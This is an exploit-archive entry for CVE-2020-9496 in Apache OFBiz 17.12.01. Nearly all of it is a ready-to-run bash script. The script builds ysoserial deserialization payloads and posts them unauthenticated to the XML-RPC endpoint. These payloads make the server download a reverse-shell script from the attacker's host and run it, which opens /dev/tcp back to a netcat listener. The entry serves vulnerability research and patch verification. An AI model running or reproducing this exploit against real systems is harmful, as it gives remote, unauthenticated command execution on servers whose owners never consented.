ApacheOfBiz 17.12.01 Remote Command Execution

2021.08.04
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) via Unsafe Deserialization of XMLRPC arguments # Date: 2021-08-04 # Exploit Author: Álvaro Muñoz, Adrián Díaz (s4dbrd) # Vendor Homepage: https://ofbiz.apache.org/index.html # Software Link: https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip # Version: 17.12.01 # Tested on: Linux # CVE : CVE-2020-9496 # Reference: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/ # Description: This CVE was discovered by Alvaro Muñoz, but I have created this POC to automate the process and the necessary requests to successfully exploit it and get RCE. #!/usr/bin/env bash # Because the 2 xmlrpc related requets in webtools (xmlrpc and ping) are not using authentication they are vulnerable to unsafe deserialization. # This issue was reported to the security team by Alvaro Munoz pwntester@github.com from the GitHub Security Lab team. # # This vulnerability exists due to Java serialization issues when processing requests sent to /webtools/control/xmlrpc. # A remote unauthenticated attacker can exploit this vulnerability by sending a crafted request. Successful exploitation would result in arbitrary code execution. # # Steps to exploit: # # Step 1: Host HTTP Service with python3 (sudo python3 -m http.server 80) # Step 2: Start nc listener (Recommended 8001). # Step 3: Run the exploit. url='https://127.0.0.1' # CHANGE THIS port=8443 # CHANGE THIS function helpPanel(){ echo -e "\nUsage:" echo -e "\t[-i] Attacker's IP" echo -e "\t[-p] Attacker's Port" echo -e "\t[-h] Show help pannel" exit 1 } function ctrl_c(){ echo -e "\n\n[!] Exiting...\n" exit 1 } # Ctrl + C trap ctrl_c INT function webRequest(){ echo -e "\n[*] Creating a shell file with bash\n" echo -e "#!/bin/bash\n/bin/bash -i >& /dev/tcp/$ip/$ncport 0>&1" > shell.sh echo -e "[*] Downloading YsoSerial JAR File\n" wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar echo -e "[*] Generating a JAR payload\n" payload=$(java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "wget $ip/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n") echo -e "[*] Sending malicious shell to server...\n" && sleep 0.5 curl -s $url:$port/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$payload</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml' &>/dev/null echo -e "[*] Generating a second JAR payload" payload2=$(java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n") echo -e "\n[*] Executing the payload in the server...\n" && sleep 0.5 curl -s $url:$port/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>$payload2</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml' &>/dev/null echo -e "\n[*]Deleting Files..." rm ysoserial-master-d367e379d9-1.jar && rm shell.sh } declare -i parameter_enable=0; while getopts ":i:p:h:" arg; do case $arg in i) ip=$OPTARG; let parameter_enable+=1;; p) ncport=$OPTARG; let parameter_enable+=1;; h) helpPanel;; esac done if [ $parameter_enable -ne 2 ]; then helpPanel else webRequest fi


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